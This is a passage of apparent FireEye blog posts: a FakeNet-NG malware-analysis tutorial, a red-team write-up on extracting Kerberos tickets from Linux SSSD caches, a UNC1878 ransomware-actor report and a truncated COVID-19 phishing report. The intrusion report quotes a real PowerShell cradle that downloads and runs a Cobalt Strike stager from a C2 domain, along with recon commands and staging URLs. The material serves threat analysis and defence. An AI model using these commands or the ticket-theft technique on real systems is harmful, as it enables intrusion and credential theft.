feature, we can now quickly write a small Python script to handle the HTTP traffic dynamically based upon our malware sample. Start by uncommenting the Custom configuration option in the HTTPListener80 section as illustrated in Figure 9. [HTTPListener80] Enabled:     True Port:        80 Protocol:    TCP Listener:    HTTPListener UseSSL:      No Webroot:     defaultFiles/ Timeout:     10 #ProcessBlackList: dmclient.exe, OneDrive.exe, svchost.exe, backgroundTaskHost.exe, GoogleUpdate.exe, chrome.exe DumpHTTPPosts: Yes DumpHTTPPostsFilePrefix: http Hidden:      False # To read about customizing responses, see docs/CustomResponse.mdCustom:    sample_custom_response.ini Figure 9: HTTP Listener configuration Next configure the HttpDynamic custom response in fakenet\configs\sample_custom_response.ini as demonstrated in Figure 10. Make sure to comment-out or replace the default HttpDynamic instance. [Example2] ListenerType:     HTTP HttpURIs:         comm.php HttpDynamic:      http_example.py Figure 10: HttpDynamic configuration The file fakenet\configs\CustomProviderExample.py can be used as a template for our dynamic response file http_example.py. We modify the HandleRequest() function as illustrated in Figure 11. FakeNet-NG will now encrypt responses dynamically with the nonce. import socket from arc4 import ARC4 # To read about customizing HTTP responses, see docs/CustomResponse.md def HandleRequest(req, method, post_data=None):     “””Sample dynamic HTTP response handler.     Parameters     ———-     req : BaseHTTPServer.BaseHTTPRequestHandler         The BaseHTTPRequestHandler that recevied the request     method: str         The HTTP method, either ‘HEAD’, ‘GET’, ‘POST’ as of this writing     post_data: str         The HTTP post data received by calling `rfile.read()` against the         BaseHTTPRequestHandler that received the request.     “””       response = ‘Ahoy\r\n’     nonce = req.path.split(‘=’)[1]     arc4 = ARC4(nonce)     response = arc4.encrypt(response)     req.send_response(200)     req.send_header(‘Content-Length’, len(response))     req.end_headers()     req.wfile.write(response) Figure 11: Dynamic HTTP request handler Stage 4: Manual Custom Responses For even more flexibility, the all-powerful networking utility netcat can be used to stand-in for FakeNet-NG listeners. For example, you may want to use netcat to act as a C2 server and issue commands dynamically during execution on port 80. Launch a netcat listener before starting FakeNet-NG, and traffic destined for the corresponding port will be diverted to the netcat listener. You can then issue commands dynamically using the netcat interface as seen in Figure 12. Figure 12: Use ncat.exe to manually handle traffic FakeNet-NG’s custom response capabilities are diverse. Read the documentation to learn how to boost your custom response high score. Stage 5: Blacklisting Processes Some analysts prefer to debug malware from a separate system. There are many reasons to do this; most commonly to preserve the IDA database and other saved data when malware inevitably corrupts the environment. The process usually involves configuring two virtual machines on a host-only network. In this setup, FakeNet-NG intercepts network traffic between the two machines, which renders remote debugging impossible. To overcome this obstacle, we can blacklist the debug server by instructing FakeNet-NG to ignore traffic from the debug server process. When debugging remotely with IDA Pro, the standard debug server process for a 32-bit Portable Executable is win32_remote.exe (or dbgsrv.exe for WinDbg). All you need to do is add the process names to the ProcessBlackList configuration as demonstrated in Figure 13. Then, the debug servers can still communicate freely with IDA Pro while all other network traffic is captured and redirected by FakeNet-NG. # Specify processes to ignore when diverting traffic. Windows example used here. ProcessBlackList: win32_remote.exe, dbgsrv.exe Figure 13: Modified configs/default.ini to allow remote debugging with IDA Pro Blacklisting is also useful to filter out noisy processes from polluting Fakenet-NG captured network traffic. Examples include processes that attempt to update the Windows system or other malware analysis tools. Additional settings are available for blacklisting ports and hosts. Please see the README for more details about blacklisting and whitelisting. Stage 6: Executing Commands on Connection Events Fakenet-NG can be configured to execute commands when a connection is made to a Listener. For example, this option can be used to attach a debugger to a running sample upon a connection attempt. Imagine a scenario where we analyze the packed sample named Lab18-01.exe from the Practical Malware Analysis labs. Using dynamic analysis, we can see that the malware beacons to its C2 server over TCP port 80 using the HTTP protocol as seen in Figure 14. Figure 14: Malware beacons to its C2 server over TCP port 80 Wouldn’t it be nice if we could magically attach a debugger to Lab18-01.exe when a connection is made? We could speedrun the sample and bypass the entire unpacking stub and any potential anti-debugging tricks the sample may employ. To configure Fakenet-NG to launch and attach a debugger to any process, modify the [HTTPListener80] section in the fakenet\configs\default.ini to include the ExecuteCmd option. Figure 15 shows an example of a complete [HTTPListener80] section. [HTTPListener80] Enabled:     True Port:        80 Protocol:    TCP Listener:    HTTPListener UseSSL:      No Webroot:     defaultFiles/ Timeout:     10 DumpHTTPPosts: Yes DumpHTTPPostsFilePrefix: http Hidden:      False # Execute x32dbg –p to attach to a debugger. {pid} is filled in automatically by Fakenet-NGExecuteCmd: x32dbg.exe -p {pid} Figure 15: Execute command option to run and attach x32dbg In this example, we configure the HTTPListener on port 80 to execute the debugger x32dbg.exe, which will attach to a running process whose process ID is determined at runtime. When a connection is made to HTTPListener, FakeNet-NG will automatically replace the string {pid} with the process ID of the process that makes the connection. For a complete list of supported variables, please refer to the Documentation. Upon restarting Fakenet-NG and running the sample again, we see x32dbg launch and automatically attach to Lab18-01.exe. We can now use memory dumping tools such as Scylla or the OllyDumpEx plugin to dump the executable and proceed to static analysis. This is demonstrated in Figure 16 and Figure 17. Figure 16: Using FakeNet-NG to attach x32dbg to the sample (animated) Figure 17: Fakenet-NG executes x32dbg upon connection to practicalmalwareanalysis.com Stage 7: Decrypting SSL Traffic Often malware uses SSL for network communication, which hinders traffic analysis considerably as the packet data is encrypted. Using Fakenet-NG’s ProxyListener, you can create a packet capture with decrypted traffic. This can be done using the protocol detection feature. The proxy can detect SSL, and “man-in-the-middle” the socket in SSL using Python’s OpenSSL library. It then maintains full-duplex connections with the malware and with the HTTP Listener, with both sides unaware of the other. Consequently, there is a stream of cleartext HTTP traffic between the Proxy and the HTTP Listener, as seen in Figure 18. Figure 18: Cleartext streams between Fakenet-NG components In order to keep FakeNet-NG as simple as possible, current default settings for FakeNet-NG do not have the proxy intercept HTTPS traffic on port 443 and create the decrypted stream. To proxy the data you need to set the HTTPListener443 Hidden attribute to True as demonstrated in Figure 19. This tells the proxy to intercept packets and detect the protocol based on packet contents. Please read our blog post on the proxy and protocol detection to learn more about this advanced feature. [HTTPListener443] Enabled:     True Port:        443 Protocol:    TCP Listener:    HTTPListener UseSSL:      Yes Webroot:     defaultFiles/ DumpHTTPPosts: Yes DumpHTTPPostsFilePrefix: httpHidden:      True Figure 19: Hide the listener so the traffic will be proxied We can now examine the packet capture produced by Fakenet-NG. The cleartext can be found in a TCP stream between an ephemeral port on localhost (ProxyListener) and port 80 on localhost (HTTPListener). This is demonstrated in Figure 20. Figure 20: Cleartext traffic between HTTPListener and Proxy Listener Conclusion (New Game+) Fakenet-NG is the de facto standard network simulation tool for malware analysis. It runs without installation and is included in FLARE VM. In addition to its proven and tested default settings, Fakenet offers countless capabilities and configuration options. In this blog post we have presented several tricks to handle common analysis scenarios. To download the latest version, to see a complete list of all configuration options, or to contribute to Fakenet-NG, please see our Github repository.

  • Kerberos Tickets on Linux Red Teams
    by Trevor Haskell on April 1, 2020 at 4:00 pm

    At FireEye Mandiant, we conduct numerous red team engagements within Windows Active Directory environments. Consequently, we frequently encounter Linux systems integrated within Active Directory environments. Compromising an individual domain-joined Linux system can provide useful data on its own, but the best value is obtaining data, such as Kerberos tickets, that will facilitate lateral movement techniques. By passing these Kerberos Tickets from a Linux system, it is possible to move laterally from a compromised Linux system to the rest of the Active Directory domain. There are several ways to configure a Linux system to store Kerberos tickets. In this blog post, we will introduce Kerberos and cover some of the various storage solutions. We will also introduce a new tool that extracts Kerberos tickets from domain-joined systems that utilize the System Security Services Daemon Kerberos Cache Manager (SSSD KCM). What is Kerberos Kerberos is a standardized authentication protocol that was originally created by MIT in the 1980s. The protocol has evolved over time. Today, Kerberos Version 5 is implemented by numerous products, including Microsoft Active Directory. Kerberos was originally designed to mutually authenticate identities over an unsecured communication line. The Microsoft implementation of Kerberos is used in Active Directory environments to securely authenticate users to various services, such as the domain (LDAP), database servers (MSSQL) and file shares (SMB/CIFS). While other authentication protocols exist within Active Directory, Kerberos is one of the most popular methods. Technical documentation on how Microsoft implemented Kerberos Protocol Extensions within Active Directory can be found in the MS-KILE standards published on MSDN.  Short Example of Kerberos Authentication in Active Directory To illustrate how Kerberos works, we have selected a common scenario where a user John Smith with the account ACMENET.CORP\sa_jsmith wishes to authenticate to a Windows SMB (CIFS) file share in the Acme Corporation domain, hosted on the server SQLSERVER.ACMENET.CORP. There are two main types of Kerberos tickets used in Active Directory: Ticket Granting Ticket (TGT) and service tickets. Service tickets are obtained from the Ticket Granting Service (TGS). The TGT is used to authenticate the identity of a particular entity in Active Directory, such as a user account. Service tickets are used to authenticate a user to a specific service hosted on a system. A valid TGT can be used to request service tickets from the Key Distribution Center (KDC). In Active Directory environments, the KDC is hosted on a Domain Controller. The diagram in Figure 1 shows the authentication flow. Figure 1: Example Kerberos authentication flow In summary: The user requests a Ticket Granting Ticket (TGT) from the Domain Controller. Once granted, the user passes the TGT back to the Domain Controller and requests a service ticket for cifs/SQLSERVER.ACMENET.CORP. After the Domain Controller validates the request, a service ticket is issued that will authenticate the user to the CIFS (SMB) service on SQLSERVER.ACMENET.CORP. The user receives the service ticket from the Domain Controller and initiates an SMB negotiation with SQLSERVER.ACMENET.CORP. During the authentication process, the user provides a Kerberos blob inside an “AP-REQ” structure that includes the service ticket previously obtained. The server validates the service ticket and authenticates the user. If the server determines that the user has permissions to access the share, the user can begin making SMB queries. For an in-depth example of how Kerberos authentication works, scroll down to view the appendix at the bottom of this article. Kerberos On Linux Domain-Joined Systems When a Linux system is joined to an Active Directory domain, it also needs to use Kerberos tickets to access services on the Windows Active Directory domain. Linux uses a different Kerberos implementation. Instead of Windows formatted tickets (commonly referred to as the KIRBI format), Linux uses MIT format Kerberos Credential Caches (CCACHE files).  When a user on a Linux system wants to access a remote service with Kerberos, such as a file share, the same procedure is used to request the TGT and corresponding service ticket. In older, more traditional implementations, Linux systems often stored credential cache files in the /tmp directory. Although the files are locked down and not world-readable, a malicious user with root access to the Linux system could trivially obtain a copy of the Kerberos tickets and reuse them. On modern versions of Red Hat Enterprise Linux and derivative distributions, the System Security Services Daemon (SSSD) is used to manage Kerberos tickets on domain-joined systems. SSSD implements its own form of Kerberos Cache Manager (KCM) and encrypts tickets within a database on the system. When a user needs access to a TGT or service ticket, the ticket is retrieved from the database, decrypted, and then passed to the remote service (for more on SSSD, check out this great research from Portcullis Labs). By default, SSSD maintains a copy of the database at the path /var/lib/sss/secrets/secrets.ldb. The corresponding key is stored as a hidden file at the path /var/lib/sss/secrets/.secrets.mkey. By default, the key is only readable if you have root permissions. If a user is able to extract both of these files, it is possible to decrypt the files offline and obtain valid Kerberos tickets. We have published a new tool called SSSDKCMExtractor that will decrypt relevant secrets in the SSSD database and pull out  the credential cache Kerberos blob. This blob can be converted into a usable Kerberos CCache file that can be passed to other tools, such as Mimikatz, Impacket, and smbclient. CCache files can be converted into Windows format using tools such as Kekeo. We leave it as an exercise to the reader to convert the decrypted Kerberos blob into a usable credential cache file for pass-the-cache and pass-the-ticket operations. Using SSSDKCMExtractor is simple. An example SSSD KCM database and key are shown in Figure 2. Figure 2: SSSD KCM files Invoking SSSDKCMExtractor with the –database and –key parameters will parse the database and decrypt the secrets as shown in Figure 3. Figure 3: Extracting Kerberos data After manipulating the data retrieved, it is possible to use the CCACHE in smbclient as shown in Figure 4. In this example, a domain administrator ticket was obtained and used to access the domain controller’s C$ share. Figure 4: Compromising domain controller with extracted tickets The Python script and instructions can be found on the FireEye Github. Conclusion By obtaining privileged access to a domain-joined Linux system, it is often possible to scrape Kerberos tickets useful for lateral movement. Although it is still common to find these tickets in the /tmp directory, it is now possible to also scrape these tickets from modern Linux systems that utilize the SSSD KCM. With the right Kerberos tickets, it is possible to move laterally to the rest of the Active Directory domain. If a privileged user authenticates to a compromised Linux system (such as a Domain Admin) and leaves a ticket behind, it would be possible to steal that user’s ticket and obtain privileged rights in the Active Directory domain. Appendix: Detailed Example of Kerberos Authentication in Active Directory To illustrate how Kerberos works, we have selected a common scenario where a user John Smith with the account ACMENET.CORP\sa_jsmith wishes to authenticate to a Windows SMB (CIFS) file share in the Acme Corporation domain, hosted on the server SQLSERVER.ACMENET.CORP. There are two main types of Kerberos ticket types used in Active Directory: Ticket Granting Ticket (TGT) and service tickets. Service tickets are obtained from the Ticket Granting Service (TGS). The TGT is used to authenticate the identity of a particular entity in Active Directory, such as a user account. Service tickets are used to authenticate a user to a specific service hosted on a domain- joined system. A valid TGT can be used to request service tickets from the Key Distribution Center (KDC). In Active Directory environments, the KDC is hosted on a Domain Controller. When the user wants to authenticate to the remote file share, Windows first checks if a valid TGT is present in memory on the user’s workstation. If a TGT isn’t present, a new TGT is requested from the Domain Controller in the form of an AS-REQ request. To prevent password cracking attacks (AS-REP Roasting), by default, Kerberos Preauthentication is performed first. Windows creates a timestamp and encrypts the timestamp with the user’s Kerberos key (Note: User Kerberos keys vary based on encryption type. In the case of RC4 encryption, the user’s RC4 Kerberos key is directly derived from the user’s account password. In the case of AES encryption, the user’s Kerberos key is derived from the user’s password and a salt based on the username and domain name). The domain controller receives the request and decrypts the timestamp by looking up the user’s Kerberos key. An example AS-REQ packet is shown in Figure 5. Figure 5: AS-REQ Once preauthentication is successful, the Domain Controller issues an AS-REP response packet that contains various metadata fields, the TGT itself, and an “Authenticator”. The data within the TGT itself is considered sensitive. If a user could freely modify the content within the TGT, they could impersonate any user in the domain as performed in the Golden Ticket attack. To prevent this from easily occurring, the TGT is encrypted with the long term Kerberos key stored on the Domain Controller. This key is derived from the password of the krbtgt account in Active Directory. To prevent users from impersonating another user with a stolen TGT blob, Active Directory’s Kerberos implementation uses session keys that are used for mutual authentication between the user, domain, and service. When the TGT is requested, the Domain Controller generates a session key and places it in two places: the TGT itself (which is encrypted with the krbtgt key and unreadable by the end user), and in a separate structure called the Authenticator. The Domain Controller encrypts the Authenticator with the user’s personal Kerberos key. When Windows receives the AS-REP packet back from the domain controller, it caches the TGT ticket data itself into memory. It also decrypts the Authenticator with the user’s Kerberos key and obtains a copy of the session key generated by the Domain Controller. Windows stores this session key in memory for future use. At this point, the user’s system has a valid TGT that it can use to request service tickets from the domain controller. An example AS-REP packet is shown in Figure 6. Figure 6: AS-REP After obtaining a valid TGT for the user, Windows requests a service ticket for the file share service hosted on the remote system SQLSERVER.ACMENET.CORP. The request is made using the service’s Service Principal Name (“SPN”). In this case, the SPN would be cifs/SQLSERVER.ACMENET.CORP. Windows builds the service ticket request in a TGS-REQ packet. Within the TGS-REQ packet, Windows places a copy of the TGT previously obtained from the Domain Controller. This time, the Authenticator is encrypted with the TGT session key previously obtained from the domain controller. An example TGS-REQ packet is shown in Figure 7. Figure 7: TGS-REQ Once the Domain Controller receives the TGS-REQ packet, it extracts the TGT from the request and decrypts it with the krbtgt Kerberos key. The Domain Controller verifies that the TGT is valid and extracts the session key field from the TGT. The Domain Controller then attempts to decrypt the Authenticator in the TGS-REQ packet with the session key. Once decrypted, the Domain Controller examines the Authenticator and verifies the contents. If this operation succeeds, the user is considered authenticated by the Domain Controller and the requested service ticket is created. The Domain Controller generates the service ticket requested for cifs/SQLSERVER.ACMENET.CORP. The data within the service ticket is also considered sensitive. If a user could manipulate the service ticket data, they could impersonate any user on the domain to the service as performed in the Silver Ticket attack. To prevent this from easily happening, the Domain Controller encrypts the service ticket with the Kerberos key of the computer the user is authenticating to. All domain-joined computers in Active Directory possess a randomly generated computer account credential that both the computer and Domain Controller are aware of. The Domain Controller also generates a second session key specific to the service ticket and places a copy in both the encrypted service ticket and a new Authenticator structure. This Authenticator is encrypted with the first session key (the TGT session key). The service ticket, Authenticator, and metadata are bundled in a TGS-REP packet and forwarded back to the user. An example TGS-REP packet is shown in Figure 8. Figure 8: TGS-REP Once Windows receives the TGS-REP for cifs/SQLSERVER.ACMENET.CORP, Windows extracts the service ticket from the packet and caches it into memory. It also decrypts the Authenticator with the TGT specific session key to obtain the new service specific session key. Using both pieces of information, it is now possible for the user to authenticate to the remote file share. Windows negotiates a SMB connection with SQLSERVER.ACMENET.CORP. It places a Kerberos blob in an “ap-req” structure. This Kerberos blob includes the service ticket received from the domain controller, a new Authenticator structure, and metadata. The new Authenticator is encrypted with the service specific session key that was previously obtained from the Domain Controller. The authentication process is shown in Figure 9. Figure 9: Authenticating to SMB (AP-REQ) Once the file share server receives the authentication request, it first extracts and decrypts the service ticket from the Kerberos authentication blob and verifies the data within. It also extracts the service specific session key from the service ticket and attempts to decrypt the Authenticator with it. If this operation succeeds, the user is considered to be authenticated to the service. The server will acknowledge the successful authentication by sending one final Authenticator back to the user, encrypted with the service specific session key. This action completes the mutual authentication process. The response (contained within an “ap-rep” structure) is shown in Figure 10. Figure 10: Final Authenticator (Mutual Authentication, AP-REP) A diagram of the authentication flow is shown in Figure 11. Figure 11: Example Kerberos authentication flow

  • It’s Your Money and They Want It Now — The Cycle of Adversary Pursuit
    by Van Ta on March 31, 2020 at 3:00 pm

    When we discover new intrusions, we ask ourselves questions that will help us understand the totality of the activity set. How common is this activity? Is there anything unique or special about this malware or campaign? What is new and what is old in terms of TTPs or infrastructure? Is this being seen anywhere else? What information do I have that substantiates the nature of this threat actor? To track a fast-moving adversary over time, we exploit organic intrusion data, pivot to other data sets, and make that knowledge actionable for analysts and incident responders, enabling new discoveries and assessments on the actor. The FireEye Advanced Practices team exists to know more about the adversary than anyone else, and by asking and answering questions such as these, we enable analyst action in security efforts. In this blog post, we highlight how our cycle of identification, expansion, and discovery was used to track a financially motivated actor across FireEye’s global data sets. Identification On January 29, 2020, FireEye Managed Defense investigated multiple TRICKBOT deployments against a U.S. based client. Shortly after initial deployment, TRICKBOT’s networkDll module ran the following network reconnaissance commands (Figure 1). ipconfig /all net config workstation net view /all net view /all /domain nltest /domain_trusts nltest /domain_trusts /all_trusts Figure 1: Initial Reconnaissance Approximately twenty minutes after reconnaissance, the adversary ran a PowerShell command to download and execute a Cobalt Strike HTTPS BEACON stager in memory (Figure 2). cmd.exe /c powershell.exe -nop –w hidden –c “IEX ((new-object net.webclient).downloadstring(‘hxxps://cylenceprotect[.]com:80/abresgbserthgsbabrt’))” Figure 2: PowerShell download cradle used to request a Cobalt Strike stager Six minutes later, Managed Defense identified evidence of enumeration and attempted lateral movement through the BEACON implant. Managed Defense alerted the client of the activity and the affected hosts were contained, stopping the intrusion in its tracks. A delta of approximately forty-six minutes between a TRICKBOT infection and attempted lateral movement was highly unusual and, along with the clever masquerade domain, warranted further examination by our team. Although light, indicators from this intrusion were distinct enough to create an uncategorized threat group, referred to as UNC1878. At the time of initial clustering, UNC1878’s intent was not fully understood due to the rapid containment of the intrusion by Managed Defense. By creating this label, we are able to link activity from the Managed Defense investigation into a single entity, allowing us to expand our understanding of this group and track their activity over time. This is especially important when dealing with campaigns involving mass malware, as it helps delineate the interactive actor from the malware campaign they are leveraging. For more information on our clustering methodology, check out our post about how we analyze, separate, or merge these clusters at scale. Expansion Pivoting on the command and control (C2) domain allowed us to begin building a profile of UNC1878 network infrastructure. WHOIS records for cylenceprotect[.]com (Figure 3) revealed that the domain was registered on January 27, 2020, with the registrar “Hosting Concepts B.V. d/b/a Openprovider”, less than two days before we saw this domain used in activity impacting the Managed Defense customer. Domain Name: cylenceprotect.com Registry Domain ID: 2485487352_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.registrar.eu Registrar URL: http://www.registrar.eu Updated Date: 2020-01-28T00:35:43Z Creation Date: 2020-01-27T23:32:18ZRegistrar Registration Expiration Date: 2021-01-27T23:32:18Z Registrar: Hosting Concepts B.V. d/b/a Openprovider Figure 3: WHOIS record for the domain cylenceprotect[.]com Turning our attention to the server, the domain resolved to 45.76.20.140, an IP address owned by the VPS provider Choopa. In addition, the domain used self-hosted name servers ns1.cylenceprotect[.]com and ns2.cylenceprotect[.]com, which also resolved to the Choopa IP address. Network scan data for the server uncovered a certificate on port 80 and 443, a snippet of which can be seen in Figure 4. Certificate:     Data:         Version: 3 (0x2)         Serial Number:             03:a8:60:02:c7:dd:7f:88:5f:2d:86:0d:88:41:e5:3e:25:f0     Signature Algorithm: sha256WithRSAEncryption         Issuer: C=US, O=Let’s Encrypt, CN=Let’s Encrypt Authority X3         Validity             Not Before: Jan 28 02:02:14 2020 GMT            Not After : Apr 27 02:02:14 2020 GMT         Subject: CN=cylenceprotect[.]com Figure 4: TLS Certificate for the domain cylenceprotect[.]com The certificate was issued by Let’s Encrypt, with the earliest validity date within 24 hours of the activity detected by Managed Defense, substantiating the speed in which this threat actor operates. Along with the certificate in Figure 4, we also identified the default generated, self-signed Cobalt Strike certificate (Figure 5) on port 54546 (50050 by default). Certificate:     Data:         Version: 3 (0x2)         Serial Number: 1843990795 (0x6de9110b)     Signature Algorithm: sha256WithRSAEncryption         Issuer: C=Earth, ST=Cyberspace, L=Somewhere, O=cobaltstrike, OU=AdvancedPenTesting, CN=Major Cobalt Strike        Validity             Not Before: Jan 28 03:06:30 2020 GMT            Not After : Apr 27 03:06:30 2020 GMT         Subject: C=Earth, ST=Cyberspace, L=Somewhere, O=cobaltstrike, OU=AdvancedPenTesting, CN=Major Cobalt Strike Figure 5: Default Cobalt Strike TLS Certificate used by UNC1878 Similar to the certificate on port 80 and 443, the earliest validity date was again within 24 hours of the intrusion identified by Managed Defense. Continuing analysis on the server, we acquired the BEACON stager and subsequent BEACON payload, which was configured to use the Amazon malleable C2 profile. While these indicators may not hold significant weight on their own, together they create a recognizable pattern to fuel proactive discovery of related infrastructure. We began hunting for servers that exhibited the same characteristics as those used by UNC1878. Using third-party scan data, we quickly identified additional servers that matched a preponderance of UNC1878 tradecraft: Domains typically comprised of generic IT or security related terms such as “update”, “system”, and “service”. Domains registered with “Hosting Concepts B.V. d/b/a Openprovider” as early as December 19, 2019. Self-hosted name servers. Let’s Encrypt certificates on port 80. Virtual private servers hosted predominantly by Choopa. BEACON payloads configured with the Amazon malleable C2 profile. Cobalt Strike Teams Servers on non-standard ports. Along with certificates matching UNC1878 tradecraft, we also found self-signed Armitage certificates, indicating this group may use multiple offensive security tools. Pivoting on limited indicators extracted from a single Managed Defense intrusion, a small cluster of activity was expanded into a more diverse set of indicators cardinal to UNC1878. While the objective and goal of this threat actor had not yet manifested, the correlation of infrastructure allowed our team to recognize this threat actor’s operations against other customers. Discovery With an established modus operandi for UNC1878, our team quickly identified several related intrusions in support of FireEye Mandiant investigations over the next week. Within two days of our initial clustering and expansion of UNC1878 from the original Managed Defense investigation, Mandiant Incident Responders were investigating activity at a U.S. based medical equipment company with several indicators we had previously identified and attributed to UNC1878. Attributed domains, payloads and methodologies provided consultants with a baseline to build detections on, as well as a level of confidence in the actor’s capabilities and speed in which they operate. Three days later, UNC1878 was identified during another incident response engagement at a restaurant chain. In this engagement, Mandiant consultants found evidence of attempted deployment of RYUK ransomware on hundreds of systems, finally revealing UNC1878’s desired end goal. In the following weeks, we continued to encounter UNC1878 in various phases of their intrusions at several Mandiant Incident Response and Managed Defense customers. While services data offers us a depth of understanding into these intrusions, we turn to our product telemetry to understand the breadth of activity, getting a better worldview and perspective on the global prevalence of this threat actor. This led to the discovery of an UNC1878 intrusion at a technology company, resulting in Mandiant immediately notifying the affected customer. By correlating multiple UNC1878 intrusions across our services and product customers, it became evident that the targeting was indiscriminate, a common characteristic of opportunistic ransomware campaigns. Although initially there were unanswered questions surrounding UNC1878’s intent, we were able to provide valuable insights into their capabilities to our consultants and analysts. In turn, the intrusion data gathered during these engagements continued the cycle of building our understanding of UNC1878’s tradecraft, enabling our responders to handle these incidents swiftly in the face of imminent ransomware deployment. Conclusion Threat actors continue to use mass malware campaigns to establish footholds into target environments, followed by interactive operations focused on deploying ransomware such as RYUK, DOPPLEPAYMER and MAZE. Looking at the overall trend of intrusions FireEye responds to, the growing shift from traditional PCI theft to ransomware has allowed threat actors such as UNC1878 to widen their scope and increase their tempo, costing organizations millions of dollars due to business disruption and ransom payments. However, apart from their speed, UNC1878 does not stand out among the increasing number of groups following this trend, and should not be the key takeaway of this blog post. The cycle of analysis and discovery used for UNC1878 lies at the core of our team’s mission to rapidly detect and pursue impactful adversaries at scale. Starting from a singular intrusion at a Managed Defense client, we were able to discover UNC1878 activity at multiple customers. Using our analysis of the early stages of their activity allowed us to pivot and pursue this actor across otherwise unrelated investigations. As we refine and expand our understanding of UNC1878’s tradecraft, our team enables Mandiant and Managed Defense to efficiently identify, respond to, and eradicate a financially motivated threat actor whose end goal could cripple targeted organizations. The principles applied in pursuit of this actor are crucial to tracking any adversary and are ultimately how the Advanced Practices team surfaces meaningful activity across the FireEye ecosystem. Acknowledgements Thank you to Andrew Thompson, Dan Perez, Steve Miller, John Gorman and Brendan McKeague for technical review of this content. In addition, thank you to the frontline responders harvesting valuable intrusion data that enables our research. Indicators of Compromise Domains aaatus[.]com avrenew[.]com besttus[.]com bigtus[.]com brainschampions[.]com checkwinupdate[.]com ciscocheckapi[.]com cleardefencewin[.]com cmdupdatewin[.]com comssite[.]com conhostservice[.]com cylenceprotect[.]com defenswin[.]com easytus[.]com findtus[.]com firsttus[.]com freeallsafe[.]com freeoldsafe[.]com greattus[.]com havesetup[.]net iexploreservice[.]com jomamba[.]best livecheckpointsrs[.]com livetus[.]com lsassupdate[.]com lsasswininfo[.]com microsoftupdateswin[.]com myservicebooster[.]com myservicebooster[.]net myserviceconnect[.]net myserviceupdater[.]com myyserviceupdater[.]com renovatesystem[.]com service-updater[.]com servicesbooster[.]com servicesbooster[.]org servicesecurity[.]org serviceshelpers[.]com serviceupdates[.]net serviceuphelper[.]com sophosdefence[.]com target-support[.]online taskshedulewin[.]com timesshifts[.]com topsecurityservice[.]net topservicehelper[.]com topservicesbooster[.]com topservicesecurity[.]com topservicesecurity[.]net topservicesecurity[.]org topservicesupdate[.]com topservicesupdates[.]com topserviceupdater[.]com update-wind[.]com updatemanagir[.]us updatewinlsass[.]com updatewinsoftr[.]com web-analysis[.]live windefenceinfo[.]com windefens[.]com winsysteminfo[.]com winsystemupdate[.]com worldtus[.]com yoursuperservice[.]com IP Addresses 31.7.59.141 45.32.30.162 45.32.130.5 45.32.161.213 45.32.170.9 45.63.8.219 45.63.95.187 45.76.20.140 45.76.167.35 45.76.231.195 45.77.58.172 45.77.89.31 45.77.98.157 45.77.119.212 45.77.153.72 45.77.206.105 63.209.33.131 66.42.97.225 66.42.99.79 79.124.60.117 80.240.18.106 81.17.25.210 95.179.147.215 95.179.210.8 95.179.215.228 96.30.192.141 96.30.193.57 104.156.227.250 104.156.245.0 104.156.250.132 104.156.255.79 104.238.140.239 104.238.190.126 108.61.72.29 108.61.90.90 108.61.176.237 108.61.209.123 108.61.242.184 140.82.5.67 140.82.10.222 140.82.27.146 140.82.60.155 144.202.12.197 144.202.83.4 149.28.15.247 149.28.35.35 149.28.50.31 149.28.55.197 149.28.81.19 149.28.113.9 149.28.122.130 149.28.246.25 149.248.5.240 149.248.56.113 149.248.58.11 151.106.56.223 155.138.135.182 155.138.214.247 155.138.216.133 155.138.224.221 207.148.8.61 207.148.15.31 207.148.21.17 207.246.67.70 209.222.108.106 209.250.255.172 216.155.157.249 217.69.15.175 BEACON Staging URLs hxxp://104.156.255[.]79:80/avbcbgfyhunjmkmk hxxp://149.28.50[.]31:80/adsrxdfcffdxfdsgfxzxds hxxp://149.28.81[.]19:80/ajdlkashduiqwhuyeu12312g3yugshdahqjwgye1g2uy31u1 hxxp://45.32.161[.]213:80/ephfusaybuzabegaexbkakskjfgksajgbgfckskfnrdgnkhdsnkghdrngkhrsngrhgcngyggfxbgufgenwfxwgfeuyenfgx hxxp://45.63.8[.]219:80/ajhgfrtyujhytr567uhgfrt6y789ijhg hxxp://66.42.97[.]225:80/aqedfy345yu9876red45f6g78j90 hxxp://findtus[.]com/akkhujhbjcjcjhufuuljlvu hxxp://thedemocraticpost[.]com/kflmgkkjdfkmkfl hxxps://brainschampions[.]com:443/atrsgrtehgsetrh5ge hxxps://ciscocheckapi[.]com:80/adsgsergesrtvfdvsa hxxps://cylenceprotect[.]com:80/abresgbserthgsbabrt hxxps://havesetup[.]net/afgthyjuhtgrfety hxxps://servicesbooster[.]org:443/sfer4f54 hxxps://servicesecurity[.]org:443/fuhvbjk hxxps://timesshifts[.]com:443/akjhtyrdtfyguhiugyft hxxps://timesshifts[.]com:443/ry56rt6yh5rth hxxps://update-wind[.]com/aergerhgrhgeradgerg hxxps://updatemanagir[.]us:80/afvSfaewfsdZFAesf

  • Social Engineering Based on Stimulus Bill and COVID-19 Financial Compensation Schemes Expected to Grow in Coming Weeks
    by FireEye Mandiant Threat Intelligence on March 27, 2020 at 7:00 pm

    Given the community interest and media coverage surrounding the economic stimulus bill currently being considered by the United States House of Representatives, we anticipate attackers will increasingly leverage lures tailored to the new stimulus bill and related recovery efforts such as stimulus checks, unemployment compensation and small business loans. Although campaigns employing themes relevant to these matters are only beginning to be adopted by threat actors, we expect future campaigns—primarily those perpetrated by financially motivated threat actors—to incorporate these themes in proportion to the media’s coverage of these topics. Threat actors with varying motivations are actively exploiting the current pandemic and public fear of the coronavirus and COVID-19. This is consistent with our expectations; malicious actors are typically quick to adapt their social engineering lures to exploit major flashpoints along with other recurrent events (e.g. holidays, Olympics). Security researchers at FireEye and in the broader community have already begun to identify and report on COVID-19 themed campaigns with grant, payment, or economic recovered themed emails and attachments. Example Malware Distribution Campaign On March 18, individuals at corporations across a broad set of industries and geographies received emails with the subject line “COVID-19 Payment” intended to distribute the SILENTNIGHT banking malware (also referred to by others as Zloader). Despite the campaign’s broad distribution, a plurality of associated messages were sent to organizations based in Canada. Interestingly, although the content of these emails was somewhat generic, they were sometimes customized to reference a payment made in currency relevant to the recipient’s geography and contextually relevant government officials (Figure 1 and Figure 2). These emails were sent from a large pool of different @gmx.com email addresses and had password protected Microsoft Word document attachments using the file name “COVID 19 Relief.doc” (Figure 3). The emails appear to be auto generated and follow the format <name>.<name><SevenNumberString>@gmx.com. When these documents were opened and macros enabled, they would drop and execute a .JSE script crafted to download and execute an instance of SILENTNIGHT from http://209.141.54[.]161/crypt18.dll. An analyzed sample of SILENTNIGHT 